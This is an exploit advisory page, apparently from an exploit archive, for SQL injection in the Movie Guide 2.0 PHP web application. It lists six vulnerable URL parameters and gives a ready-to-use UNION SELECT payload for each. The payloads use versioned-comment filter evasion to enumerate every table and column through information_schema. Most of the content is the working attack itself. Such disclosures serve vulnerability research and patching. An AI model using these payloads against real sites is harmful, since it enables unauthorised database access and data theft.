Movie Guide 2.0 - SQL Injection
2017-12-15 22:05:17# # # # #
# Exploit Title: Movie Guide 2.0 - SQL Injection
# Dork: N/A
# Date: 15.12.2017
# Vendor Homepage: http://applebitemedia.com/
# Software Link: http://applebitemedia.com/amwdl/AM_Movie_Guide.tar.gz
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/index.php?md=[SQL]
#
# -V' /*!02222UNION*/(/*!02222SELECT*/ 0x253238253331253239,0x253238253332253239,(/*!02222Select*/ export_set(5,@:=0,(/*!02222select*/ count(*)/*!02222from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!02222table_name*/,0x3c6c693e,2),/*!02222column_name*/,0xa3a,2)),@,2)),0x253238253334253239,0x253238253335253239,0x253238253336253239,0x253238253337253239,0x253238253338253239,0x253238253339253239,0x253238253331253330253239,0x253238253331253331253239,0x253238253331253332253239)-- -
#
# 2)
# http://localhost/[PATH]/index.php?pid=minfo&Movie_Id=[SQL]
#
# -V' /*!02222UNION*/(/*!02222SELECT*/ 0x253238253331253239,0x253238253332253239,(/*!02222Select*/ export_set(5,@:=0,(/*!02222select*/ count(*)/*!02222from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!02222table_name*/,0x3c6c693e,2),/*!02222column_name*/,0xa3a,2)),@,2)),0x253238253334253239,0x253238253335253239,0x253238253336253239,0x253238253337253239,0x253238253338253239,0x253238253339253239,0x253238253331253330253239,0x253238253331253331253239,0x253238253331253332253239)-- -
#
# 3)
# http://localhost/[PATH]/index.php?director=[SQL]
#
# a' /*!02222UNION*/(/*!02222SELECT*/ 0x253238253331253239,0x253238253332253239,(/*!02222Select*/ export_set(5,@:=0,(/*!02222select*/ count(*)/*!02222from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!02222table_name*/,0x3c6c693e,2),/*!02222column_name*/,0xa3a,2)),@,2)),0x253238253334253239,0x253238253335253239,0x253238253336253239,0x253238253337253239,0x253238253338253239,0x253238253339253239,0x253238253331253330253239,0x253238253331253331253239,0x253238253331253332253239)-- -
#
# 4)
# http://localhost/[PATH]/index.php?actor=[SQL]
#
# -a' /*!02222UNION*/(/*!02222SELECT*/ 0x253238253331253239,0x253238253332253239,(/*!02222Select*/ export_set(5,@:=0,(/*!02222select*/ count(*)/*!02222from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!02222table_name*/,0x3c6c693e,2),/*!02222column_name*/,0xa3a,2)),@,2)),0x253238253334253239,0x253238253335253239,0x253238253336253239,0x253238253337253239,0x253238253338253239,0x253238253339253239,0x253238253331253330253239,0x253238253331253331253239,0x253238253331253332253239)-- -
#
# 5)
# http://localhost/[PATH]/index.php?gterm=[SQL]
#
# -a' /*!02222UNION*/(/*!02222SELECT*/ 0x253238253331253239,0x253238253332253239,(/*!02222Select*/ export_set(5,@:=0,(/*!02222select*/ count(*)/*!02222from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!02222table_name*/,0x3c6c693e,2),/*!02222column_name*/,0xa3a,2)),@,2)),0x253238253334253239,0x253238253335253239,0x253238253336253239,0x253238253337253239,0x253238253338253239,0x253238253339253239,0x253238253331253330253239,0x253238253331253331253239,0x253238253331253332253239)-- -
#
# 6)
# http://localhost/[PATH]/index.php?year=[SQL]
#
# -a' /*!02222UNION*/(/*!02222SELECT*/ 0x253238253331253239,0x253238253332253239,(/*!02222Select*/ export_set(5,@:=0,(/*!02222select*/ count(*)/*!02222from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!02222table_name*/,0x3c6c693e,2),/*!02222column_name*/,0xa3a,2)),@,2)),0x253238253334253239,0x253238253335253239,0x253238253336253239,0x253238253337253239,0x253238253338253239,0x253238253339253239,0x253238253331253330253239,0x253238253331253331253239,0x253238253331253332253239)-- -
#
# # # # #
Fixes
No fixesPer poter inviare un fix è necessario essere utenti registrati.